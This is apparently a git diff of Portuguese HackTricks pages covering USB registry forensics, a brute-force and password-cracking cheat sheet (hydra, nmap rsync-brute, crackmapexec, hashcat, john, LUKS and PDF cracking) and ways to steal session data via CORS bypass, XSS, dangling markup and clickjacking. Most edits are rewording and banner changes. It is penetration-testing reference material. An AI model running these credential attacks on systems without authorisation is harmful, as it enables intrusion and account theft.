+![](<../../../.gitbook/assets/image (480).png>)
+
+### Usuário que usou o dispositivo
+
+Tendo o **{GUID}** do dispositivo, agora é possível **verificar todas as colmeias NTUDER.DAT de todos os usuários**, procurando pelo GUID até encontrá-lo em uma delas (`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\Mountpoints2`).
+
+![](<../../../.gitbook/assets/image (481).png>)
+
+### Último montado
+
+Verificando o registro `System\MoutedDevices` é possível descobrir **qual dispositivo foi o último montado**. Na imagem a seguir, veja como o último dispositivo montado em `E:` é o da Toshiba (usando a ferramenta Registry Explorer).
+
+![](<../../../.gitbook/assets/image (483) (1) (1).png>)
+
+### Número de Série do Volume
+
+Em `Software\Microsoft\Windows NT\CurrentVersion\EMDMgmt` você pode encontrar o número de série do volume. **Sabendo o nome do volume e o número de série do volume, você pode correlacionar as informações** de arquivos LNK que usam essa informação.
+
+Note que quando um dispositivo USB é formatado:
+
+* Um novo nome de volume é criado
+* Um novo número de série do volume é criado
+* O número de série físico é mantido
+
+### Timestamps
+
+Em `System\ControlSet001\Enum\USBSTOR{VEN_PROD_VERSION}{USB serial}\Properties{83da6326-97a6-4088-9453-a1923f573b29}\` você pode encontrar a primeira e última vez que o dispositivo foi conectado:
+
+* 0064 -- Primeira conexão
+* 0066 -- Última conexão
+* 0067 -- Desconexão
+
+![](<../../../.gitbook/assets/image (482).png>)
+
+
+
+Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
+
+Outras formas de apoiar o HackTricks:
+
+* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
+* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
+* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
+* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+
+
diff --git a/generic-methodologies-and-resources/brute-force.md b/generic-methodologies-and-resources/brute-force.md
index e6fb91326..8543f4ce2 100644
--- a/generic-methodologies-and-resources/brute-force.md
+++ b/generic-methodologies-and-resources/brute-force.md
@@ -1,6 +1,6 @@
# Brute Force - CheatSheet
-
+
\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias **mais avançadas** do mundo.\
@@ -10,13 +10,15 @@ Obtenha Acesso Hoje:
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
+Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
-* Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **versão mais recente do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
-* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
+Outras formas de apoiar o HackTricks:
+
+* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
-* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-me no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
+* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* **Compartilhe suas dicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
@@ -39,7 +41,7 @@ Obtenha Acesso Hoje:
## **Crie seus próprios Dicionários**
-Encontre o máximo de informações sobre o alvo quanto puder e gere um dicionário personalizado. Ferramentas que podem ajudar:
+Encontre o máximo de informações sobre o alvo possível e gere um dicionário personalizado. Ferramentas que podem ajudar:
### Crunch
```bash
@@ -98,7 +100,7 @@ Finished in 0.920s.
* [**https://hashkiller.io/listmanager**](https://hashkiller.io/listmanager)
* [**https://github.com/Karanxa/Bug-Bounty-Wordlists**](https://github.com/Karanxa/Bug-Bounty-Wordlists)
-
+
\
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir e **automatizar fluxos de trabalho** com facilidade, utilizando as ferramentas comunitárias **mais avançadas** do mundo.\
@@ -339,8 +341,6 @@ hydra -l -P rlogin:// -v -V
```bash
hydra -L rsh:// -v -V
```
-[http://pentestmonkey.net/tools/misc/rsh-grind](http://pentestmonkey.net/tools/misc/rsh-grind)
-
### Rsync
```bash
nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 873
@@ -402,7 +402,7 @@ legba ssh --username admin --password '@/some/path/*' --ssh-auth-mode key --targ
```
#### Chaves SSH fracas / PRNG previsível do Debian
-Alguns sistemas possuem falhas conhecidas na semente aleatória usada para gerar material criptográfico. Isso pode resultar em um espaço de chaves drasticamente reduzido que pode ser atacado com força bruta usando ferramentas como [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute). Conjuntos pré-gerados de chaves fracas também estão disponíveis, como [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
+Alguns sistemas possuem falhas conhecidas na semente aleatória usada para gerar material criptográfico. Isso pode resultar em um espaço de chaves drasticamente reduzido que pode ser submetido a brute force com ferramentas como [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute). Conjuntos pré-gerados de chaves fracas também estão disponíveis, como [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
### STOMP (ActiveMQ, RabbitMQ, HornetQ e OpenMQ)
@@ -444,10 +444,10 @@ set PASS_FILE /usr/share/metasploit-framework/data/wordlists/passwords.lst
```bash
crackmapexec winrm -d -u usernames.txt -p passwords.txt
```
-
+
\
-Utilize o [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir e **automatizar fluxos de trabalho** com facilidade, utilizando as ferramentas comunitárias **mais avançadas** do mundo.\
+Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente com as ferramentas comunitárias **mais avançadas** do mundo.\
Obtenha Acesso Hoje:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@@ -523,7 +523,7 @@ qpdf --password= --decrypt encrypted.pdf plaintext.pdf
```
### Senha do Proprietário do PDF
-Para quebrar uma senha de Proprietário de PDF, verifique isto: [https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/](https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/)
+Para quebrar uma senha de Proprietário do PDF, verifique isto: [https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/](https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/)
### JWT
```bash
@@ -577,8 +577,6 @@ cryptsetup luksOpen backup.img mylucksopen
ls /dev/mapper/ #You should find here the image mylucksopen
mount /dev/mapper/mylucksopen /mnt
```
-Outro tutorial de BF Luks: [http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1](http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1)
-
### Mysql
```bash
#John hash format
@@ -596,7 +594,7 @@ john --wordlist=/usr/share/wordlists/rockyou.txt ./hash
### Chave Mestra DPAPI
-Use [https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py](https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py) e depois john
+Use [https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py](https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py) e depois o john
### Coluna Protegida por Senha no Open Office
@@ -619,10 +617,10 @@ zip -r file.xls .
# From https://github.com/crackpkcs12/crackpkcs12
crackpkcs12 -d /usr/share/wordlists/rockyou.txt ./cert.pfx
```
-
+
\
-Utilize o [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir e **automatizar fluxos de trabalho** com facilidade, alimentados pelas ferramentas comunitárias **mais avançadas** do mundo.\
+Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com facilidade, utilizando as ferramentas comunitárias **mais avançadas** do mundo.\
Obtenha Acesso Hoje:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@@ -662,7 +660,7 @@ john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules
* **Ataque de lista de palavras** (`-a 0`) com regras
-**Hashcat** já vem com uma **pasta contendo regras**, mas você pode encontrar [**outras regras interessantes aqui**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/rules).
+O **Hashcat** já vem com uma **pasta contendo regras**, mas você pode encontrar [**outras regras interessantes aqui**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/rules).
```
hashcat.exe -a 0 -m 1000 C:\Temp\ntlm.txt .\rockyou.txt -r rules\best64.rule
```
@@ -748,20 +746,22 @@ Quebra de Hashes de Aplicações Comuns
```
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
+Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
-* Trabalha numa **empresa de cibersegurança**? Quer ver a sua **empresa anunciada no HackTricks**? ou quer ter acesso à **versão mais recente do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
-* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
+Outras formas de apoiar o HackTricks:
+
+* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
-* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
+* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
-
+
\
-Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente com as ferramentas comunitárias **mais avançadas** do mundo.\
+Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente, com ferramentas da comunidade **mais avançadas** do mundo.\
Obtenha Acesso Hoje:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
diff --git a/stealing-sensitive-information-disclosure-from-a-web.md b/stealing-sensitive-information-disclosure-from-a-web.md
index 64d283af6..d6c3fbe1a 100644
--- a/stealing-sensitive-information-disclosure-from-a-web.md
+++ b/stealing-sensitive-information-disclosure-from-a-web.md
@@ -1,33 +1,37 @@
-# Roubo de Informações Sensíveis de um Site
+# Roubo de Divulgação de Informações Sensíveis de um Web
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
+Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
-* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? Ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
-* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
-* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo Telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
+Outras formas de apoiar o HackTricks:
+
+* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
+* Adquira o [**merchandising oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
+* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
+* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
-Se em algum momento você encontrar uma **página da web que apresenta informações sensíveis com base em sua sessão**: talvez esteja refletindo cookies, ou imprimindo detalhes de cartão de crédito ou qualquer outra informação sensível, você pode tentar roubá-la.\
-Aqui apresento as principais maneiras de tentar alcançar isso:
+Se em algum momento você encontrar uma **página web que apresenta informações sensíveis baseadas na sua sessão**: Talvez esteja refletindo cookies, ou imprimindo detalhes do CC ou qualquer outra informação sensível, você pode tentar roubá-la.\
+Aqui apresento as principais maneiras de tentar alcançá-lo:
-* [**Bypass de CORS**](pentesting-web/cors-bypass.md): Se você conseguir contornar os cabeçalhos do CORS, poderá roubar as informações realizando uma solicitação Ajax para uma página maliciosa.
-* [**XSS**](pentesting-web/xss-cross-site-scripting/): Se você encontrar uma vulnerabilidade de XSS na página, poderá abusar dela para roubar as informações.
-* [**Marcação Pendente**](pentesting-web/dangling-markup-html-scriptless-injection/): Se você não puder injetar tags de XSS, ainda poderá roubar as informações usando outras tags HTML regulares.
-* [**Clickjacking**](pentesting-web/clickjacking.md): Se não houver proteção contra esse tipo de ataque, você poderá enganar o usuário para que ele envie os dados sensíveis para você (um exemplo [aqui](https://medium.com/bugbountywriteup/apache-example-servlet-leads-to-61a2720cac20)).
+* [**CORS bypass**](pentesting-web/cors-bypass.md): Se você conseguir contornar os cabeçalhos CORS, poderá roubar as informações realizando uma solicitação Ajax de uma página maliciosa.
+* [**XSS**](pentesting-web/xss-cross-site-scripting/): Se você encontrar uma vulnerabilidade XSS na página, poderá abusar dela para roubar as informações.
+* [**Danging Markup**](pentesting-web/dangling-markup-html-scriptless-injection/): Se você não pode injetar tags XSS, ainda pode ser capaz de roubar as informações usando outras tags HTML regulares.
+* [**Clickjaking**](pentesting-web/clickjacking.md): Se não houver proteção contra esse ataque, você pode ser capaz de enganar o usuário para enviar-lhe os dados sensíveis (um exemplo [aqui](https://medium.com/bugbountywriteup/apache-example-servlet-leads-to-61a2720cac20)).
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
+Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
-* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? Ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
-* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
-* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo Telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
+Outras formas de apoiar o HackTricks:
+
+* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
+* Adquira o [**merchandising oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
+* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
+* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).